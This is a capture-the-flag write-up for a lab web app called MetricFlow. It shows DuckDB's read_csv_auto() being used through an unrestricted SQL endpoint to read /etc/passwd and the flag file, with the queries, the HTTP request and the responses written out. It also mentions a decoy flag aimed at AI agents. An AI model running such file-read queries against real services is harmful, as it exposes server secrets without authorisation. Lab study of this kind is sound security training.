MetricFlow
MetricFlow
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: decoy_flag_avoidance, duckdb_file_read_via_read_csv_auto, unrestricted_sql_function_access
Summary
Walkthrough of the CUSTOM Web MetricFlow. Task: Analytics dashboard with DuckDB-powered SQL Data Explorer that passes user queries without restricting callable functions. Solution: Used DuckDB's read_csv_auto() table function to read /root/fl
Description
MetricFlow is a self-hosted analytics dashboard platform built by FlowData Systems. Engineering teams use it to visualize and explore operational metrics including CPU usage, memory consumption, request latency, and error rates across their production infrastructure. The platform features a powerful SQL-based Data Explorer that lets users write custom analytical queries against collected metrics. Your objective is to investigate the application for security weaknesses and find a way to read sensitive files on the server.
English summary: A Flask-based analytics dashboard with a DuckDB-powered SQL query endpoint. Users can write arbitrary SQL via the Data Explorer. The goal is to read sensitive files on the server.
Analysis
Application Structure
- Login:
/— credentialsanalyst / analyst123 - Dashboard:
/dashboard— interactive charts for CPU, memory, latency, error rates - Data Explorer:
/explore— SQL editor powered by DuckDB v0.9.2 - API:
POST /api/query— accepts{"type":"sql","expression":"..."}and executes against DuckDB - Server: nginx/1.25.5, Flask backend
- Session: Flask signed cookie with
role=viewer, user_id=2, username=analyst
Decoy Flag
A honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was embedded in HTML comments on every page — a classic trap for automated scanners and AI agents. Ignored.
Vulnerability
The /api/query endpoint passes user-supplied SQL expressions directly to DuckDB without restricting which functions can be called. DuckDB provides built-in table functions like read_csv_auto(), read_csv(), and read_blob() that can read arbitrary files from the server filesystem. Since there is no allowlist or blocklist on function usage, an attacker can abuse these file-read functions to exfiltrate any file readable by the application process.
Solution
Step 1: Login and Discover the SQL Endpoint
Login with analyst / analyst123 to obtain a session cookie. Navigate to /explore to find the Data Explorer. The JavaScript at /static/js/explore.js reveals the API endpoint: POST /api/query.
Step 2: Confirm DuckDB Version
sql read-only • copy allowedSELECT version() as v
Response: v0.9.2
Step 3: Attempt read_text() (Failed)
sql read-only • copy allowedSELECT read_text('/etc/passwd') as content
Error: Scalar Function with name read_text does not exist! — this function is not available in DuckDB v0.9.2.
Step 4: Use read_csv_auto() for Arbitrary File Read
sql read-only • copy allowedSELECT * FROM read_csv_auto('/etc/passwd')
Successfully returned all 27 lines of /etc/passwd, confirming arbitrary file read capability.
Step 5: Read the Flag
sql read-only • copy allowedSELECT * FROM read_csv_auto('/root/flag.txt')
Full HTTP request:
POST /api/query HTTP/1.1
Content-Type: application/json
Cookie: session=eyJyb2xlIjoidmlld2VyIiwidXNlcl9pZCI6MiwidXNlcm5hbWUiOiJhbmFseXN0In0.agXI6Q.l_mSt4kv5KP6nY6Mmk3CLIrsz0A
{"type":"sql","expression":"SELECT * FROM read_csv_auto('/root/flag.txt')"}
Response:
json read-only • copy allowed{ "columns": ["column0"], "duration_ms": 6001, "row_count": 1, "rows": [{"column0": "FLAG{REDACTED}"}] }
Failed Attempts
| Attempt | Result |
|---|---|
read_text('/etc/passwd') | Function not available in DuckDB v0.9.2 |
read_csv_auto('/flag.txt') | File not found |
read_csv_auto('/app/flag.txt') | File not found |
read_csv_auto('/home/flag.txt') | File not found |
read_csv_auto('/root/flag.txt') | Success |
| |
Key Takeaways / Lessons
- Mastering decoy_flag_avoidance, duckdb_file_read_via_read_csv_auto, unrestricted_sql_function_access was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • MetricFlow • Difficulty: Easy